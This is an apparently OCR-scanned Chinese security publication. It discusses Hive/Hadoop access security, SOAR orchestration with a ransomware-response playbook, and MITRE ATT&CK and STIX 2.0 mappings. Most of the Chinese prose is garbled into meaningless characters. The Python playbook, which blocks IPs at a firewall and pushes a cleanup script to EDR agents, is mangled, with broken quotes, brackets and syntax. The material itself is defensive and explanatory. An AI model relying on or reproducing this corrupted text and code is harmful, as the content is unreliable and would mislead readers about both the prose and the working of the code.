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MapReduce

EREOABREE -
=JDBC/ODBC

7 JDBC/ODBC fyi5a4, B aiEER| HiveServer2, B
1T HiveServer2 #1754t (€, ELL% E7E HiveServer2 £}
—NREEAR. BTZEORANEHEEN, IFREMNGEE

e
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w7 .

I % HiveServer2 gifE AR, BFmELEREAE
RIBF KRR % HiveServer2, RIZT KM 0K, SR
REURRESU BUR L E R, STNRE R,

BT S IIAER E Hive 9 hook & b x4 #iiE i 7150,
MISSHAREIE, BB RARIEEM.

mCLI

CLI i F At HiveServer2, [ It i it #5772 i 74X
BRIzl 4M4F CLI il R, 7Elid CLl T8RN, &
M Metastore HzkEREIMEXMTEIE, MMk HDFS LiEEUEX
#iE, B, 7 Metastore LI RAEIT ARSI, IR
=

M_EE Hive B0 4rel B, STILAMHRIARIZH EZMIN
TILHEAT :

1. BERATIRDT, BESRRRSEIRRIE.

2. AEMBEOMNRESN, LEBRSRERFEFAREIEL
BAS.

3. EHERBRIEREN.
.

4N Hive #) JDBC/ODBC f{4% BR 12 %) R 2 & 7 HiveServer2
A FEWE, XA X Hive fiRE# TG, TE
Hbase #, % TEH# Hbase ZME, ATFEFFwmIEERT
HRegionServer ij5ja)#i##, Fib7EFTH HRegionServer 5 F&B

FEEREBBREMTEARNIES
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BEHAITRES.

PREEEXN AR TENERE, AT EMERUNENE,
WA FATEEBMEIN Hive. Hbase EH9E. &, 17. 5.
MR ERS, RAUHERAPER.

Hit

FERF

BT EERERTHEERIT. BEFTERAFER. RY
&, BRERITRNHIR. BIRAIARTAILE, RNXFTARIT O,
KENERGE. ME. ZEENFERRT. MRITEEZBERE
FHEERBRITES LRERT TR T EM I

X EPTR, Hadoop XEUEIFH, REFEMIFERFNE
X Hadoop, ERMWHASEIMABAKHBTEMIIZEER, ¥
ERTNER. T TENMRRAEFAMS XS EKIN
BANREIERBIEIRN 2T

el

KBERLEETHIRAR ST

Hadoop K EMNZ L ERMEBS N ARMESLERINHF

e

R R MERITR, W Ranger. Sentry % Apache TiZk
FRME, REABEAFEEAILMBAHATER, HEAR
=HK.

EFERENAFERNMNDM. bl Ranger Friz fir1h8E
REEEBEELNIOHBR, EXFAGRNE. FHREREMELE
BE—EMEE, REFAELEM FATAANEE=F FET
BHFTZRARRBEESHNREMERAT K.

ERETEMAHELTES, SERBELN. SIEIRD X,
ME REEHIXATLHN KE\LEEERNATEX LI,
AREREEERRN, FERBHENTSRHIMEERBEHT
AN ABSMINE, RIESBRBBEARTHMEE. mMEREiELR
BB P RP KRB BEL 2 HIINFT R, RE TREES EME
BRESB, FRNEHENRIENESNERFB SN E EaEME
5 ML BR B

B

ERBERLTES, MAMEEE. KSEE, fBRIFHT
PREIRFEHRN, BB IREGIFEENHERE, BLENR
HIBEFEEZIISN, NREE AP NONRETED. 4K
SHIBEHTARIER, FEIBEMTARR, HEHTRE. HiTES
BRERVA ) E BT RERIB M EE. HRE RAERERE (M
BrEuEsR, EEUUH) W, BEBHHITIEN. M EE=ATTE#TE
BEHE, EBRABRPAPREETEREEE TURBETES
REEZENER.
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SOAR in a nutshell

— RHFENREZHEHER

SBERER BIFT L XIS

K & REEX RS

HE: Bt RHIE LR AT M IRRERAIERE, EXAmUHEINDREMETRIA
ik, TERRF. AXMNRHEXZENAE, NRTZEHFHLRNE. X

BIERAN, KUEMIERTTE.
— REATLERH
Network Sec A
App S Sec App Sec App
(=) TARKHENRE snout)] Joutput - ;
Gartner T HHEX REMWEE, HREWHIEHT—AT F | s gy
S Data,
THTTE. RUEEXREESZEFRIINTRIRAR. REEXR Tepo1egy
Commands Data Poli Status
MRS LEETREEXME, B hiEtFEMEEFEE e bl I ity
@, EHEOTREVSEE, BEREXTEIMRMMEERET R—— e pom—
Data N
KRS HHE NRSENREHPHRFMNBREL. & Zs\\ﬁ%ﬁj
&L,

HEX R EZEMINE 1 .

FREMANE, RHEEXREEBRFETHREEX ML SDN, #
TJfEE) SDN R EIEE. EHRAMREEMHFNERE, Bink
EPPREN, BRAEXRERFNEZEEINGREN, &
KNBARENA. REBFIBNRLRE (RAFH) =B, ZGHR

¥

b

B IRRE X RERN

IR TF SDN, NFV R HEMFEH I SRS
ERPHRMEX T EEBRAE N LU
(1) CWPP, T =l S RUMERIFFR, FREERBEENR
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EPPE, FERMVESITR, SSHBHEXNZEE.

(2) HIEEXSR (R ER), TRIEL S Mk EEH ML
HH TS RN RRMIFEEE, pHioEd KB SRTESFE
TREIRER enforcer 1, TTRER T LR agent, tHETRER ML
w’&E.

B, AXHRMREEXZEFRSBETOAEERE. 0
AN FERULCTS MRBREREYAREETARAE. ARERE
MR TRAVES, #—FFERBEMGHE XLz ATARG SR
BN AR R T AXER, TEIRAKRIRINET AT
(Z) FHRREENREWIRDNE

BETEENANFEAR, 225U SRENERTS
WEEH#ETE. MERNABMBEZFERAELFFT SDN
FINFVER, 22 @rR&TMN SaaS RENTREZNHE, ¥
MANBEE MG, Web 4. DDoS Z@E4E = HIBIFRES.

AU MR E X R EHIER

(1) #Z2HE. REEFNSTFENEZTE, HTREES
MR EEIUNEBE.

(2) ¥AR. MG SaaS KA, RERBNEES .

(3) BIER. REREMBEMENG, RERBEIREHTIE
= BET

BEWSHERTE ZROTURE, AEERHZRNE
NREFATENNBALMNERFENRERANK, BHHE—
MEBRINENRENAARLRAE, RIFELHTH LTI

P

TETHRFRARENTEN A, HfiRE.
FRENIET.

R FEEAGBHERAR, i (Orchestration) MARZ
MABNZWFERD, FEMNSDHR, RFEFENIESERSE
SEHECHEND. B, WRER SN AL RRURE, BAELIEE.
EUNREEXRENS, RBEAUTH ML

(1) BIA (AETAMAE), eRATREMHPNESR, 1570
RAER S, BANFRARIEK (Playbook).

(2) RHSI%E. —FRBREFAEIIEELT SN AHIH,
MRRZIFFET, BPEMIF TRRBEREHFERL. BT
., BiEHBHEIE, Gak. AP b IREHEF A, MEEREH
PR, . BEMLT. BRTMREECHTR, RERE
FRMNRA, ERFEARLEY A, SUREFEGZHNR 2T,
PUEBRLIME RERER & oL~ RiE.

i, REFHARTRTREGFNS S RATREHEF
BIRES), MRTEXREVFIHENERE, REXAREEXRERE
REVRLEES.

Gartner i fE32 4 7 SOAR (Security Orchestration Automation

RE —HibES

and Response), FHIIATKFFA, TREMEFEX REIESEHA,
RHE AR HIEFHIIRMELER R,

= nfGmHRE

(—) FHERGHIZR

ZEEHHONROERNEMEAR. MEREMNL SRR
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HTES, RENANGHESHRREAEVSER. flm, AR
SR GRIEZT RAEINKITA, BETREIZMEALIE, ERNIZE
PR ETIE 2B A EDR Rig FERE, WNAKBIREERE.

T, ERERANREEXREGRNNAEZ L, THZm—
EBRHE B 2. BRREEFHHETLINES R EEATIE
WMEEL. KRR, BEEES ERURKINEAMBE SR
FlSRTEREMA AR R&EMNRETR, MUENEREN
BHRG, PIARBIFE=ZTNRENA, XEREFATNE

Orchestrator

Pol1c1esT \L events \L’olicies
Sec App Sec App Sec App
event
Security Controller
Status
.. Reports
Policies Policies Alerts
Reports
Alerts
Secupeis l 1
Devi Securis
Devi Security
N Device
a4
OW«S‘
B 2 TRANR S5

e
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BERERERENTR, XN EERANSTNRENNEIR
NENREIIEE.

HORRHIZ, BAZRATITREMS
N PRSI RHFRGIRMANE 3 Fis.

WMENRE RS

If condition:
do something
while condition:

S|& 2

VIA/ bR %

[ #ma | B
AT HSI%
B 3 RHRGLRN
BARGFESMEMY FFE G X, 620 Splunk U 14
Phantom Cyber /7, $AEEDITEESHARGITE, KaEN

=4FTAANER ; T ThreatConnect S RHER 51 5 B IMEIRTE
axE HRUFFENIOCE, WHEANBSHLBNIRD. HWEEX
REEL:

8, R LEM MDR Fl MSSP 22 RE5 /. ATRIKK
AR R R A B AR FRAR A, S9N 20 R FIBA fR {1t (5 82 pY S s
TIROH, FHRERENTZE2YE, RFEMNANENNIA t
BEREIBANE, EXHNBHREHFRESRSRERFITE.
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(Z) 4RHESEfI

FRBT 2019 FLHN (REFHMENEREY (MUTH
BAREY) RRETINRENREZM4G R, AP EHRRMG. £
Wi, Web AMRSE, MARHSIE, TUAKRREIXLEHSTH
BEMBRER,
1. BREMHLE

HRUMBIE/LFHREZNEMZ—, RBHW GREY AT
#2#9 GrandCrab. Satan %, HTBEHAMKIE FASHE
ENFIRITBRRFOREBCUTLE, BEHX ERERRMT,
WAEE M RS REIA.

HFERARH IBELRETAEFENRERS, HMBREEFR
A BNATRE R Windows EXALA MBI, MEiaFRFHAK
5 FW, MNEGEFBEANRQNERS IDS, ZFF%&mABE EDR Hif,
177 EDR WEIEF A EDRM, REMFAMNEEHIETIEAK
IR AHFE SIEM. WEEHRFIELIE 4 B,

HEKR /CnC

| STEM->SOAR |

4 M IRFNE

2

ZEHARIMTERRE, BEEINEREES : EDR BE%
MEFTARN (SRR E NI MR Fnar CFEEER
AR, MBRIFAAHIOEMER) €, IDS EHEMEMNA
RE(BMRRMS CnC&(F) IRFIEN, FAEEEMEMNRE(M
YREMS CnC@fE) FAMREN. ERSRIANMRERTRE, £
FABEFREMROEE, XFELEHRIMGREX XHNE

BERATHRENER. REREEWE S FR.

= s

FH

Poll data from SIEM

If CnC
traffic/scanning
detected from IDS

If batch encryption
detected from EDR

Let EDR isolate & clear
ransomeware

Let FW block traffic

Open a ticket in SOC

5 Sh3E iRz E

ZRIARBHGE, SEHM M SIEM $3k5 . MRER
RAmBEDERTH HIDSRUGFEFTEHRRGBENRE,
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MFENDEIRT. WA, BIASIHEIEANRL S LAY EDR 24t
PATERBRREMNIES ) EMRZAELRE EDR M, Nimbhks
TRRE, FHMPRREMNERROBRBE FUMRLENNEE
BiE. MEFETEARENENH, N7 SOC hRZ—1TH, it
REEEANFTATLIE.

BEEANBESASN LI AELAERRER, REEsNELNR
ITHAS :

import sdk.nsfocus.com as sdk

def on_start(container):
filter_1(container=container)

def block_ip_1(action=None, success=None, container=None,

results=None,
handle=None, filtered_artifacts=None, filtered_
results=None):
config = [ {
‘plugin” "nsfocus_firewall",

"asset": "firewall_1"
bl
ret_artifacts_1 = sdk.collect2(container=container,
datapath=[
‘filtered-data:filter_1:condition_1:artifact:*.cef.
destinationAddress’,

‘filtered-data:filter_1:condition_1:artifact:*.id"])

parameters = []

for ret_artifacts_item_1 in ret_artifacts_1:

if ret_artifacts_item_1[0]:
parameters.append({
‘ip”: ret_artifacts_item_1[0],
)
sdk.act( "block ip", parameters=parameters, callback=test_
callback,
config=config, name="block_ip_1")
return
def filter_1(action=None, success=None, container=None,
results=None,
handle=None, filtered_artifacts=None, filtered_
results=None):
ret_artifacts_1, ret_results_1 = sdk.condition(
container=container,
action_results=results,
conditions=[
["artifact:*.name", "==", " 2 F2[Fi%$# DNS ¥ RS S
BIE"L
["artifact:*.name", "==", "watchdogs 2 KIS DNS &5 "]
1
logical_operator="or’,
name="filter_1:condition_1")
if ret_artifacts_1 or ret_results_1:
block_ip_1(action=action, success=success,
container=container, results=results, handle=handle,
filtered_artifacts=ret_artifacts_1, filtered_results=ret_
results_1)
return
ret_artifacts_2, ret_results_2 = sdk.condition(
container=container,
action_results=results,
conditions=[
["artifact:*name", "==", " #{tEIMNZERIE "],

e
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1
name="filter_1:condition_2")
if ret_artifacts_2 or ret_results_2:
call_agent_1(action=action, success=success,

container=container, results=results, handle=handle,
filtered_artifacts=ret_artifacts_2, filtered_results=ret_
results_2)
return

def call_agent_1(action=None, success=None,
container=None, results=None,
handle=None, filtered_artifacts=None, filtered_
results=None):
config = [ {
‘plugin” "nsfocus_edr",
"asset": "edr_platform"

b1
ret_artifacts_1 = sdk.collect2(container=container,
datapath=[

‘filtered-data:filter_1:condition_1:artifact:*.cef.
destinationAddress’,
‘filtered-data:filter_1:condition_1:artifact:*.id"])
parameters =[]
with open('‘Clean_Wanna_Virus.py’, ') as f:
script = f.read()
for ret_artifacts_item_1 in ret_artifacts_1:
if ret_artifacts_item_1[0]:
parameters.append({
‘ip”: ret_artifacts_item_1[0],
"script": script
)
sdk.act( "call_agent", parameters=parameters,
callback=callback,

config=config, name="call_agent_1")
return
def on_finish(container, summary):
return

if __name__ =="__main__"

on_start("ransomware")

6 KHE

BFREEZRARBE— I EHEmLNERE EAsEdRE
U REREH B R RA R T AN REIAM—LEROA, XB
KREHAMNE—EMNFREST. o, BEENRARBRL LRES
Z%, ttan Satan BRI T ER TR, B UFROTTEHE,
FrIARG KRR RN E AR B RM S T, BRI EE TR
R E, EEENZEIVMAMBEMETHETRE, UHE#
— LA,

2. AR ENRLE

RETIREE “FIA Weblogic AfRIRAEZEN " FXRA, RIR
ETREESBFLNRRFBMABCHRSEE, FREARE
KM ETTARSIVIIAR. ERERABROTEMNER, 2EH)
FERBELVAFHRTRENRSREEREZ W, MBUHT
I & FHEREMTRABHHETHR BERATUEZFRETT
WEE.

BTAEFRRLLRESR, MNEATTEM RSN FHMT
5, MIRSAEMERE. flM, FEXIHITZERALENMER

P

20




SECURITY

W BLEHEAR

ERANBALEREEFERRR. CECELEATEBNRETN
GMELBTEMENOLE. LN
NNAREOIHITREWE, MENEHFCENRRHATIEME.

B 7 A0 BARERE, H{X}EREEFRN, BANRNT
BEEFES, MAEEY

FIMHLRISE RNER,

IR B L & TR,
BOERERT

TTLAR/NH B RIEE S, T

REATUEMAXE
. BT,

RN AR AL Z (X}

For #41iA in{X}

i, ZAVHY

(A I 7]

!LJ‘JM ﬂ u

*IMJA

BT RERAESR, WARTEHAFHRIAKNRET, BXH

MEFTETRS.
(2) HHBEHIUETTH

B 7 43R

EATHS

BARHT IR WALARI A, B2
FIBASL O] SLEL & B E AR AR D RN R VR ?
WA, BHITUENEASEH. EENATENTREL

il

e

HRiE, MIAKRSLEZE. A, FTIRANEHREEFTE
ABNZS, RREMTHER:

(1) R BERLRREHAMRENTNBTRELREHEER.
ZHERPRENTERFERABAIRAN, Z2ITRABRERAG
AR —NEBTFR TUEHRFZERZ—PTFENHE. FER
BUANRE

(2) BHEHERALL. BARELECHMARIE. HHIH
MR EEMBLEERE (320, REMMERRE), MR
BEERSE5NWIA, BHTEFENER.

() F—R&24HH

ZeEERARN LSRR T R EIEFE ARG
HBHRGHEN U R EWSRMET R TFE (RERE) 198
PTARER T B LR THEEAUHESN. BRIATNEERR
SN ABEMASBAERBL HENEFRFEZE REITHELRL
AOIE R
1 BRRE

MR, BHUMBRAEESRREBHNARK. B B
HEINEFLERLEZFRE, UERRIBAFINKGES, T
REWBEIHERR, WEFEREMSH AETHNRNREEMHE,
RIATBEMTHAINRE ETX, MEERNAE. ARtT—R
NEEAHRNLE,

pirdES, BATMESATEESNRFINEE BiE
WMAEM, AHRBOEINSE, NBIDRESIMNER TR
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BURAREREPHRISES, BRANESEEERNSR, mIEER
MAERIARR if-then XHMNEZEAN, BEBEEBLIHNEETEE
MUK R LLE.

YR, MRHFARBTAIZENTR, WHEEOSFHEAL
BRSHARRHGINENE B, HTENURE, XK
RIS SRR A R MR E IR B T EOK.

2. SRERSERR

N ARBOEIR. BRE. (EREBRS5LSEXN, MUASD
TENBZENRETRSENA—Ba9t 7. thal, DLP A A
EIEHIWE IR EE, FEXT 10.0.0.0/16 WM T #HTT
fBEs; i BCM 7 B WA AML& it %4 10.0.0.10 NS EBEH
7 OBERETE, BALNRHRGESKATRANRBRESS
AR, BEERE TR AN EBR BN KRR,

E(RHEEXREY —BH1.22F4.34 )\FBNHET NFV il
SDN FEHN R ASERNTIE. RIBEEENEREKE, KIELS
B M AR E XL R R, REBRPRTTHITE. RIENILL,
AT ERIEBEEXAREBRESERN, MMILYBAMZESE
RAZEENBERBIR, hRBHRETEIIFNINE.

3. B BRI ARR

BEEARE, REBEFS[LTEIBRA GRS, BT
RHIREREBRFBIFNE=ZANA. BB TER: &
P CIUE & A MBPiRE DA, EXREATSRTRH, WEE
PRERARIE X 9 ARS TR A APP1 F1EI A PB1, PB1 @i APP1

P

B DATRKR; MREEZERAF—IFF C2HHUFR, E
C2 RET & B 8% DA, Mt REB/HSHAIN A APP2 7l
A& PB2; 2% PB1Hl PB2 XAHETRK, BRANARBIER
ERX A, BERATEBNE=TNASURTERAIEM, BA
NEEERES2EHE LT

i, REEBNNAHNEXAGH—EMR. SIABRIIE
N AhEaE, HASIZERENRAEXTRAFTRIHEEGE
A, RERTNAERR T XK.

B

ERMGERPITED, REETHEE, BTEFLHTE LT,
BANRS A ORIRL, FMERTRAERNRSHEEN
FRMREBRRE. REBHTRSHEHRTORE, DEAE
et BRALRRBOERTR.
iRt ERE A, Pl

WM E B, WaE i GBI RASASHR
BE. HFFOEIRBEE S REARBATAUER, HE
BBEERLHSN, ERERRSADABRBMIRES, LR
SENAF—ENSREN. HRENPRNBIAK—ZHRE, b
R IR

Woh CURBAEER REBHRGERBRDEN A
ReRENRL TR, THIRBSESECHBNEE SHE
KRR e BHEGM—THERAEES IR AANGRES, B
EERRIR S HNNERBAIF.

&
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ML MREMEZATT&CK

AR CIFT L KEE

MEBEERUHEBONTEN BEINKZRERAAE. TR,
SHPIEHTRFEHRENAR, MUKIET & LB EIRA KK
EEN. MELTEMRENAREREBTDREMELIENER
. MEfE DTFESANR DRI MG 2 SR ITHRE. NIL
BN FHRRAENE, BNTUEREEERYD AR, 74,
BIR. FIRMKE. Hi, MIRERETHIE. TRENEN B
HRIRE R RIS E b B E 8K E. BB H AR
MM LETX, ZFSREMRN. WE. WEFERES.

Adversarial Tactics, Techniques and Common Knowledge
(ATT&CK) B—AMHEHTAFIREMEE, FTEY BTGB
NEE. APT B0 FAMTIE. BB I R BRI G
RERTNR ATTRCK fEAMEE, AT T ATTACK 5HEAKE
BESHRR, FFRITET ATTACK ME ML % 2 iR E AR X E .

—. ATT&CK %243

HEMEE—ENRTREREENBENERTEZ—. BERA
AR, BEHEMEMRNEA. SAFMERF (Tactics, Techniques
and Procedures, §#3 TTP) thZE Rk R EH. MAERAE,
A RREGBE ISR RANME, AR E. KEKE
FRMXEKTTE, ARBEGNENRESERNIESHIR.

RIES S SMMRAER, BEMHARNEBER, tLEE
BWHEERHE BT (Lockheed Martin) #y I 4 4% 2 (Cyber
Kill Chain), %k STRIDE ##%. Cyber Kill Chain %% 7t g

e
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AR AR 3 Tz A SEERR B, Cyber Kill Chain #2218 6%
ERFBREERCRDEFNEGEY. RIEBEADEGTLAM
B, TRBEREH RN KN EFHTRERE L. $5
WHEH TTP, ATTACK B E#EE B AL B ERIF D AL A
A (Tactics), 41 ATT&CK Enterprise 54 12 NE&EAR, §MNEARZ
T, 1R¥E APT BIREHIER I T AR A (Techniques), IN#E
RAEMERARBFREETERRNTT. B EERENBRESR
T ATTECK SRR FISERE, BN S ZIREIBEM DT, BEBT
BANERIBAIA. AT S .

Devices

Applications

Networks

Data |, P N e i
1HOIogY™

Users

1 ATT&CK R7 i

ATT&CK & % fg #% 0> £ Tactic-Technique 46 /5, B #T 8 &
PRE-ATT&CK, Enterprise #1 Mobile = 2k 45 & . %4 8], PRE-
ATT&CK 2%t “left of exploit” =% “pre-compromise” [ ExH47
AR, FEBEZ Cyber Kill Chain £ HBE g PRI TIRME =L
R ER. Enterprise Y & Wi $ W &S BARA KFREAMA
BERENHE, HARX T4 % Linux, macOS, Windows =4F
AHE. Mobile 25t W aiR&F AT HIEM. B 22 ATT&CK
Enterprise Matrix®, T#E95 2 W &R ATT&CK ok R EE %4>
TR ARENEE.
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. | Priviege | Dofense | Credantial Lateral Command

Execution | Persistenc Collection Exfltration | Impact
‘ n | Evasion Access Movement " | And Control : 7
romieserit | P en| Access Token|  Account ontesert | A4 Automated | Data
PPIESCIPE | PPIESETPt | capture Exfiltration | Destruction
. " n | Application Data
b £ Automated Dats
cMsTP ssibl M2 | Bash History Deployment | Aomated | © 22 lEncrypted f
Features | Padding Collection Compressed
Software Impact
Browser | Distributed
d- | Account Clipboard | Connect Dats
°°°°°°°°°° |AppCert DLLs| BITS Jobs | Brute Force | Bookmark | Component | C P oo onnection 22 | Defacement
Line Interface | Manipulation ° Data Prosy | Encrypted
...... ry _|Object Model
o
Bypass Us Exploitation
Compied |, v o1t appinitOLLs | acesune | el ust] S | and | Data Transfer| Disk Content
HTML File Dumping " Size Limits | Wipe
Control Services

Group

l

Tactic

|

& 2 ATT&CK Enterprise 46 [%

ME 255, EEFHE—IRET—EAR, 817 Initial
Access, Execution, Persistence, Privilege Escalation, Defense
Evasion, Credential Access, Discovery, Lateral Movement,
i]
METHERRTHEHENRIESLARBIFTERRNT, B
A (Tactics) REGER A (Technique) MBEHR. fla, WHHEAT
B &3 (Discovery) RIEABTR, HUREXRATHHEEKSE

1 (Account Discovery)., T2 F & A% (Application Window

Collection, Command and Control, Exfiltration, Impact.

Discovery). %28 8% %I (Browser Bookmark Discovery) Z
20 47, MR, BT Tactics F1 Technique, ATT&CK X1 % 4H Group)
FNERA Software) M-S IR B8R, Group RFT APT AR,
LAKFRTE STIX 2.0 HEHX AR Intrusion-Set X%, Software
BEERKM (Malware) FITH (Tool) WA, MBS RS
MR ¥ @ 3 Frw.

P

& 3 ATT&CK 3% xR E

. ATT&CK ¥4#i7

AT REAFHMINR ATTECK, HIIMXBIEANABERMIH
it
1.MITRE

MITRE @ (EM—RIEEMAR, EXEERHH. BELLEEH
SRFERHXIFTFT, TETSIRAHRHL, SENEZREE
SHAAERSREE. MITRE ZEHFZE TS IMNERE TR
AN STIX/TAXIN 1.0 (STIX/TAXII 2.0 B2 OASIS TE),
4132 EEgn CAPEC. MAEC. CWE. CVE. ATT&CK %, &t3J%%
ZEAHNEMEE. XENE. EWEREZTERRMET—
MRATENTEETS.
2.APT

ATT&CK % # B MITRE #§ FMX (Fort Meade eXperiment)

KB, EERLBIREIRRNREM AT, RIS APT &0
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BES1. ATTACK ARM KSR AKRE IR T A FFH APT BLUEH,
HEZEMNESRFEENTRI:

o FAMERIRS ;
o ZIRE. NS, HTEE. BR. FRAEE BEK
HHAF.

TG, ATTECK MR ERERERMARE T HAFEME AR
BHETANTENR, BT APT K AL 6918 B4 5 B IE
RERKB/RIMZHLE.

3.Behavior

ATTRCK ESHIR ER, RHXD THME MR X,
MITRE /S 3 B iM& M A IR AV S R B Rt T T 1R
B9k, ME 4R WABTREERNRE, BRERSZD.
XAETARNHREORE TRENRIAENTEBEZNRES
MAE. BREEMETNENNAEREMEFEE. RREITER.

‘:]!:4‘3 Level ‘V\'f[?:;(-%'

Martin Kill Chain®,

osoft STRIDE

Mid-level Model (MITRE ATT&CK)

Low Level Concepts

(Exploit & Vulnerability
databases & models)

B 4 MiIRE AR R

e
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REENBMSEMEAT, EBREMEGERVIIROBRRE. 1§
S,

ATT&CK # k> AR ER#ER, #EXfHh, Cyber Kill Chain 0
STRIDE g BT A D AB R RRE, TTARFETERS
BRNREEBFRSHIPRGERKE. RESEREMRERS, A
AMNRIEBENBETATRETAXRKNOEEOERIE. BiPE
it BRERRS. fla, BNTHER—I10C HBEHITAN N E K
89 “C&C” MR, XREMEANFERBLEMNEET, BRI
ERAER, WEHEERRMEMNRIEN. MEATT&CKH, jZ10C
TREXT R Bk AR “Command and Control”, E AR A RY2Multi-hop
Proxy” MEATFERMAMEABR. Elb, FATTINHE—HHIE
SHZR AT BRI — L1 BB 8.

WRERRREMNAREYDHEERBES. BMNTLUAR
CAPEC. CWE B T X /™ #1 & 2 k. CAPEC (Common Attack
Pattern Enumeration and Classification) %32 HEITME R
EAESS MM A, HO SR BEER Attack Pattern. ML
HAIAE, CAPEC B ZMMRERAM B EH T MKz, HE
RREEBARHNEMA N AR FRBENREHTA. BEXTmE,
ATTECK B A RN ARG A A BIR TRANSZRIE, M
Bid APT ERHARM TN EHER IS AR AR R AR,
B ARRER CAPEC M EMINFRIAN. NRENHAEXE,
ERRBERANEABE, TRAATIENBIENRK L TER,
AR B IR AR RN Rz 5N, BRI AR (Group)

0
7N
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» Bl

M (Software) 158, ATT&CK ifgE
WEHE, FTBNEMHEGAIE RS,
LR, BOME, ATT&CK B HMMNBEHTHREBEES
EMENREM, X—mRETEEME APT ERA. SREMHI
SMHRFTR. Hal, ETIEEHSRE 10C A1E MM T R PR
REMBETT TTP, X KA. %, NEEEIERIEED

& T BB SR A AR AT A R E AR

95 R AT M IR E MG

ATT&CK 2 #]%+%f Windows

T, TREBELEUEIEABREZE APT TN TR, SR,
FERN. MENERN. netflow HEH %% 2 SIMIKIR B EZR
4y N ATT&CK HyERIET.
4.8TIX 2.0

AL E S B 3% 14 (Structured Threat Information Expression,

f&i#R STIX) =2 MITRE &R BMERTIRESTIbRE. TRNBNE
3R & #& (Trusted Automated Exchange of Intelligence Information , &
R TAXI) R BT EERZ & ERAN AR STIX20 BRIE
#3732 OASIS HMBE IV EIRRARZ RS (CTITC) #ip, ATIRHE
AMERAFEZ, STIX 20i&3t7 12 Fifi ¥ & (SDOs, STIX Domain
Objects) FNEEXFE & (SROs. STIX Relationship Objects). 12 7
STIX 2.0 3t R e 5 From

At 41 STIX 2.0 & ATT&CK f— M E@iae? &5, ATT&CK
AEMREIERMERNBIESHE 2 L, EREMMENN AT, 8
BERITRIMNBEERIAINTANMTERNER, IUSTTLN

ERLETXY . HR, & ATTRCKIEARIREMZIIRE, F

IA type of Tactics, Techniques, and Procedures (TTP) that describes ways threat actors
lattempt to compromise targets.
A grouping of adversarial behaviors that describes a set of malicious activities or attacks that

Attack Pattern

Campaign loccur over a period of time against a specific set of targets.
Course of Action _|An action taken to either prevent an attack or respond to an attack.
5 Individuals, organizations, or groups, as well as classes of individuals, organizations, or
Identity
lgroups.
Indicator IContains a pattern that can be used to detect suspicious or malicious cyber activity.

IA grouped set of adversarial behaviors and resources with common properties believed to
be orchestrated by a single threat actor.

A type of TTP, also known as malicious code and malicious software, used to compromise
the confi iality, integrity, or availability of a victim’ s data or system.

IConveys information observed on a system or network (e.g., an IP address).

Collections of threat intelligence focused on one or more topics, such as a description of a

Intrusion Set

Malware

Observed Data

Report threat actor, malware, or attack technique, including contextual details.
Threat Actor Individuals, groups, or organizations believed to be operating with malicious intent.
Tool Legiti software that can be used by threat actors to perform attacks.
o IA mistake in software that can be directly used by a hacker to gain access to a system or
Vulnerability [ 458
& 5 STIX 2.0 3%
Sz = NP STIN = N A SIS
BRUAEE (S AR, SHBEN. XRBMS) 1Rt

SHFRAMMAREME. Flm, 5 CAPEC, CWE, CVE F5KiRa
TS FERIFRA . STIX 2.0 4R A7 ik P 4% 2= 8] B B IF IR AU X R4
B7TR, GSRFNREMAENARITESENE. HR, STIX
2.0 X R TRMEDEN FRIAN AR P RENEARE,
HUESFEAEEMEAREEXE ERNCHMIRERMHE
FREBRAZTTR.

6 B <7 ATT&CK Tactic. Technique. Group ¥ Software
FrBEM STIX 2.0 X%, Hi, Group X HI2Z Intrusion Set,

S5ENIEME “Group” BXAEHLERE. 5 STIX 2.0 A%
NREFBNFATE IR MR ATTECK YRR -

m ATT&CK Technique -> STIX Attack-Pattern

X

m ATT&CK Tactic -> STIX Attack-Pattern.Kill-Chain-Phase,

STIX Tool.Kill-Chain-Phase, STIX Malware.Kill-Chain-Phase

P
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| Arrack

/ Vulnerability
e o -
'm\rg_a‘tég‘gigr"j - ,4' = ; \kientity
) : 5 - 7 —a

& 6 ATT&CK 5 STIX 2.0 &t

m ATT&CK Group -> STIX Intrusion-Set

m ATT&CK Software -> STIX Malware (OR) STIX Tool

m ATT&CK Mitigation -> STIX Course-of-Action

ETRUBE STIX 2.0 #{TEEHRIL.
EHRATER MITRE &7 Github & cti TR P,

BAl, ATT&CKHIRE

—_—

ZEMRERE

BEERMARREXEIE, BBTIREMEEIEN EE
, BRIIZIR, FRMREHEMMTHOEE. BEIEPEENRE
HIREE, MEMKREMIREE, RBEMNEREE. THE. 1§

REZ SN, RETTHEE. THR. TXEKOEMH LT MUFFE

HIEE R AR ZE (Tactic operation). MR MIREELT CWE,
CVE SR stz E, MBASETH MIEIE 3 MR B 7IIE
o KBS 1.

B 7 fTHES ATTACK HiRE R K

B 7 2T ARMAMIRE XN — MRS, TR 7h. Bk
FIRER R B EN &N ESMHTRE MR NTA%. AR
MO REMMAE, UTERNIEET ATTACK MZMIRERN L
KgEElE.

1. AEEER T

BZEWRITH—PRBES, BRI SENEEE. KEE
BIEERSE (PR) £, SUEREMRTIN R A EMR R KR,
BIRTESEMHNMRSEN L. MENMEREHNZEE
HRFRIEFREEE—ENERE ANZEELME

PEFERN. [E. WREFES.
—MERERET. BETAESHIRENTILS XK, €BE HER.
ATT&CK AIHIRFE AR KB AR PARSK IR R KB APT R, RESHT  AMREURIREARRREY

e

HEARUWIEHRBSHHBMR SRR —C
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FEWC. BENENERE, FEEREREXASHRTHEERK.
ATT&CK 24t 7 MMz AI L {4 (Tactic, Technique, Software,
Group) RHEzEf<AK ; CACPEC NFRBEE TTP. FiipFR. M
BHEMS. MREESESTIX20, WEEBETATXNR. K
BEL EFE. eARE. RERTE. RUmE. APT REZEFS
FRMLSZR, ATTACK AEFRHENBSEKEZRTETEE
#=H. b, ATTACK ZEMIREME RO ENE MG N7 AR ALY
RO, MAR— A TEHNMEREMIAE. WETH. TH
ROFIRE, ENEAREHAGRITHEMR L, —TEAFEES.
BB ATFHIRE, A—TEEEBRLMREENFRENH
AR RAE (.
2. FIR EERY KB

MITRE 4 75 T £ AN41R E, 85 CAPEC, CWE,ATT&CK &,
EMZEARNER, FIE TR A% % CAPEC $xH#T
RBEBUENRE. BYREFEROMEAS %, 0BT RETH
mIEEES ", Bk RIEEMAN. ROESME—T CAPEC
71 ATTSCK B /IB R :

XBX CWE f0iRE KB APT EUMBR

EEFSEEXploith]. [EHIBNERILME
BETH (X—REEEATTACKA
RENFEERIZAWEEL)

ERFTEXploith B, aHAFIAE
FhAESSIE

X EAREF AR T AEERNISE XTAPTI AT RIS AN BRI

ETFI0CHIKN ETTRMEN
RERELE XBEEHTT TR

